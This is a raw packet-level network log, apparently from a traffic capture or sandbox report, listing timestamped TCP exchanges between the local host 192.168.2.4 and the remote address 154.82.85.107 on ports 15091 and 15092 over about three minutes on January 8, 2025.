Jan 8, 2025 07:15:34.254801989 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.254842997 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.259716034 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.259727955 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.259738922 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.259773016 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.259810925 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.479326963 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479361057 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479373932 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479408979 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479418993 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.479453087 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479463100 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.479465961 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479511023 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.479572058 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479583979 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479598999 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.479629040 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.480587959 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480598927 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480611086 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480635881 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.480648994 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.480776072 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480788946 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480799913 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.480824947 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.481590033 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481601954 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481612921 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481642008 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.481654882 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.481767893 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481780052 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481791019 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.481817961 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.482244015 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.482264042 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.482305050 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.482326984 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.482376099 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.704380989 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704416990 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704431057 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704479933 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.704521894 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704534054 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704545021 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704556942 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704574108 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.704603910 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.704802036 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704850912 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.704854012 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704866886 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.704929113 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.705019951 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705032110 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705044031 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705080032 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.705552101 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705571890 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705585003 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705600977 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.705630064 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.705728054 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705740929 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705750942 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705764055 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.705776930 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.705820084 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.706485033 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706496000 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706509113 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706545115 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.706938028 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706949949 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706960917 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.706990957 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.707024097 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.707046986 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708884954 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708897114 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708909035 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708921909 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708933115 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708940029 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.708945036 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.708970070 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.749438047 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.929138899 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929158926 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929172993 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929188013 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929229975 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929244995 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929253101 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.929300070 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929313898 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.929373980 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929429054 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.929523945 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929569960 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929583073 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929641008 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929915905 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929934978 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.929935932 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929950953 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.929992914 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930016994 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930270910 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930284023 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930294991 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930296898 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930329084 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930417061 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930428982 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930439949 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930452108 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930469990 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930499077 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930561066 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.930610895 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.930619001 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931195974 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931251049 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931262970 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931303024 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.931370020 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931380987 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931392908 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931423903 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.931492090 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931504011 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931516886 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.931550980 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.931577921 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.932147026 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932223082 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932235003 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932279110 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.932286978 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932374954 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.932375908 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932387114 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932399035 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932413101 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.932440042 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.932460070 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.932535887 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933201075 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933212042 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933224916 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933259964 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.933281898 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.933336973 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933347940 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933360100 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933372974 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933388948 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.933417082 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.933500051 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933512926 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.933579922 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:34.934124947 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.934137106 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:34.934179068 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154231071 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154266119 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154279947 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154350996 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154390097 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154402971 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154413939 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154431105 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154448032 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154468060 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154551983 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154563904 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154575109 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154586077 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154597044 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154601097 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154625893 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154640913 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154814959 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154828072 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154866934 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.154887915 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154900074 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154915094 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.154947996 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155122042 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155133963 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155143976 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155155897 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155167103 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155179024 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155297041 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155337095 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155349016 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155391932 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155392885 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155405045 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155416965 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155428886 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155441046 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155447960 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155483961 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155494928 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155721903 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155772924 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155785084 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155817986 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155848980 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155889034 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.155942917 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155956030 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155966997 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.155977964 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156006098 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156033039 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156107903 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156167030 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156176090 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156215906 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156419992 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156450987 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156461954 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156512022 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156524897 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156559944 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156573057 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156588078 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156616926 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156734943 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156747103 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156759024 CET	15091	49740	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:35.156785011 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:35.156845093 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:36.203512907 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:36.208368063 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:36.208441973 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:38.171430111 CET	49740	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:41.706633091 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:41.711718082 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:41.711739063 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:41.711777925 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:41.711791039 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:42.029750109 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:42.030133963 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:42.035003901 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:53.671526909 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:53.676482916 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:53.990813971 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:15:54.030709982 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:54.131223917 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:15:54.136118889 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:10.030847073 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:10.035640955 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:10.350140095 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:10.405756950 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:10.438922882 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:10.443804979 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:27.843343973 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:27.848217964 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:28.162419081 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:28.202665091 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:28.245110989 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:28.249893904 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:43.500650883 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:43.507019043 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:43.823045015 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:16:43.874588966 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:43.935399055 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:16:43.941776991 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:00.624661922 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:00.624710083 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:00.629667044 CET	15091	49741	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:00.629740953 CET	49741	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:02.593805075 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:02.598731995 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:02.598824978 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:08.536616087 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:08.541791916 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:08.541805029 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:08.541814089 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:08.541932106 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:09.086380005 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:09.087634087 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:09.092478991 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:19.749989986 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:19.750078917 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:19.754928112 CET	15092	50008	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:19.755008936 CET	50008	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:21.691200018 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:21.696054935 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:21.696193933 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:27.401304007 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:27.406187057 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:27.406244040 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:27.406255007 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:27.406297922 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:27.946089029 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:27.946420908 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:27.951272964 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:38.796770096 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:38.801810980 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:39.114118099 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:39.227540016 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:39.232455969 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:55.290074110 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:55.290074110 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:55.294985056 CET	15091	50009	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:55.297535896 CET	50009	15091	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:57.237231970 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:17:57.242224932 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:17:57.245352983 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:02.481282949 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:02.486263037 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:02.486274958 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:02.486289978 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:02.486469030 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:03.028882980 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:03.029442072 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:03.034224033 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:13.987338066 CET	50010	15092	192.168.2.4	154.82.85.107
Jan 8, 2025 07:18:13.992186069 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:14.307631016 CET	15092	50010	154.82.85.107	192.168.2.4
Jan 8, 2025 07:18:14.359114885 CET	50010	15092	192.168.2.4	154.82.85.107
